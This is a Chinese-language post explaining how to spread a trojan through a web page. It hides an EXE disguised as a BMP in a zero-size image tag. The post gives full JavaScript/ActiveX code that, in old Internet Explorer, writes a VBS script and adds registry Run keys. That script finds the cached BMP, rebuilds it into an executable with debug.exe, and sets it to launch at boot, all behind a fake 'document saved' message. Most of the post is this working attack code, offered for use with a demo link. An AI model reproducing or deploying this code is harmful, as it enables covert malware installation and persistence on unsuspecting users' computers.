|
另一种用网页为工具来传播木马的方法
另一种用网页为工具来传播程序的方法
上次提到的《IE5.5以下版本网页嵌木马的详细方法》实际上利用的是IE的漏洞,而这次的应该算做人类的聪明才智,不要误会~我说的可不是我,而是陈经韬老师,因为下面的方法是陈经韬老师第一个想出来的,而且是一项没有公布的技术,在这里没有冒犯经韬老师的意思,只是想将这种思路带给大家,以便大家更好的开阔思维。陈经韬老师的主页
http://go4.163.com/lovejingtao/ 有空可以去看看。
首先我们先看看这种新思路的大体框架: 将EXE程序转换成24真彩的BMP图象===》》嵌加到网页中===》》自动下载到被浏览的机器中===》》用VBS找到这个BMP===》》调用Debug.exe===》》将BMP文件转换成EXE并执行
1、将EXE程序转换成24真彩的BMP图象,不知道你有没有听说过Win32的文件结构跟DOS下有很大不同,尤其是EXE文件还涉及到文件头指针、偏移指针等好多方面,经韬老师曾经在《小议YAI及其它》谈过一个小实验就是将一个文本变成EXE的“假想”方法,新建一个文本文件,把其扩展名TXT改为EXE,这时候会发现它的图标立刻变了,那么它变成了可执行文件了?双击它,立刻会弹出一个窗口“XXX不是有效的Win32应用程序”Windows是怎么知道的呢?好,用记事本把它打开,将它的前两个字符改为MZ,保存退出,双击它,Windows这次回认为它是可执行文件了,当然~它不会去执行它,因为这很本不是一个标准的EXE程序。从这个我们可以知道将我们的EXE程序转换成24真彩的BMP图象也只是欺骗WINDOWS而已,并不是真的将其变成了BMP图象。
2、将一个图象嵌加到网页中你应该会吧?<IMG SRC=*.bmp >不过如果你要做坏事最好不要让人家看见,所以要<IMG SRC=*.bmp
width=0 height=0>这样才隐蔽
3、也就是本文的重点了----有关VBS的内容 下文是*.js文件,这个也要放在网页中<SCRIPT SRC=*.js>
document.write('<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>');
function docsave()
{
a=document.applets[0];
a.setCLSID('{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}');
a.createInstance();
wsh=a.GetObject();
a.setCLSID('{0D43FE01-F093-11CF-8940-00A0C9054228}');
a.createInstance();
fso=a.GetObject();
var winsys=fso.GetSpecialFolder(1);
var vbs=winsys+'\\s.vbs';
wsh.RegWrite('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs','wscript
'+'"'+vbs+'"');
var st=fso.CreateTextFile(vbs,true);
st.WriteLine('Option Explicit');
st.WriteLine('Dim FSO,WSH,CACHE,str');
st.WriteLine('Set FSO = CreateObject("Scripting.FileSystemObject")');
st.WriteLine('Set WSH = CreateObject("WScript.Shell")');
st.WriteLine('CACHE=wsh.RegRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell
Folders\\Cache")');
st.WriteLine('wsh.RegDelete("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs")');
st.WriteLine('wsh.RegWrite "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\tmp","tmp.exe"');
st.WriteLine('SearchBMPFile fso.GetFolder(CACHE),"s[1].bmp"');
st.WriteLine('WScript.Quit()');
st.WriteLine('Function SearchBMPFile(Folder,fname)');
st.WriteLine(' Dim SubFolder,File,Lt,tmp,winsys');
st.WriteLine(' str=FSO.GetParentFolderName(folder) & "\\" & folder.name & "\\"
& fname');
st.WriteLine(' if FSO.FileExists(str) then');
st.WriteLine(' tmp=fso.GetSpecialFolder(2) & "\\"');
st.WriteLine(' winsys=fso.GetSpecialFolder(1) & "\\"');
st.WriteLine(' set File=FSO.GetFile(str)');
st.WriteLine(' File.Copy(tmp & "tmp.dat")');
st.WriteLine(' File.Delete');
st.WriteLine(' set Lt=FSO.CreateTextFile(tmp & "tmp.in")');
st.WriteLine(' Lt.WriteLine("rbx")');
st.WriteLine(' Lt.WriteLine("3")');
st.WriteLine(' Lt.WriteLine("rcx")');
st.WriteLine(' Lt.WriteLine("5c00")');
st.WriteLine(' Lt.WriteLine("w136")');
st.WriteLine(' Lt.WriteLine("q")');
st.WriteLine(' Lt.Close');
st.WriteLine(' WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp & "tmp.in
>" & tmp & "tmp.out",false,6');
st.WriteLine(' On Error Resume Next ');
st.WriteLine(' FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")');
st.WriteLine(' FSO.GetFile(tmp & "tmp.dat").Delete');
st.WriteLine(' FSO.GetFile(tmp & "tmp.in").Delete');
st.WriteLine(' FSO.GetFile(tmp & "tmp.out").Delete');
st.WriteLine(' end if');
st.WriteLine(' If Folder.SubFolders.Count <> 0 Then');
st.WriteLine(' For Each SubFolder In Folder.SubFolders');
st.WriteLine(' SearchBMPFile SubFolder,fname');
st.WriteLine(' Next');
st.WriteLine(' End If');
st.WriteLine('End Function');
st.Close();
frk.document.write('<body height=40 bgcolor=#c0e0d0>文档保存成功!!!</body>');
}
setTimeout('docsave()',1000);
document.write('<br>正在保存文档,请稍等.........');
document.write('<br><iframe id=frk frameborder=0 width=200 height=50></'+'iframe>');
上面VBSript脚本的作用是在注册表启动项里加入一个新的键值,调用VBS在IE的历史记录中查找上面那个已经被下载的BMP文件,然后调用debug将这个BMP文件还原成EXE文件,然后又在RUN中加入这个新的EXE文件为开机启动文件,这样在下次开机时,这个程序就运行了。你看!就是这样简单,就是这样已想不到~~所以啊,虽然我与经韬老师的年纪相仿,但我还是很崇拜他,叫他老师……
我答应要给大家做一个没有害处的演示,地址在http://www.juntuan.org/temp/110/
我嵌入的是20cn小组开发的那个用来查看网页原文件的程序,没有害处的。如果您的网速够慢,就要等一会才能就反映。当出现“文档保存成功!!!”就OK了!(适用于IE5.5以下版本) |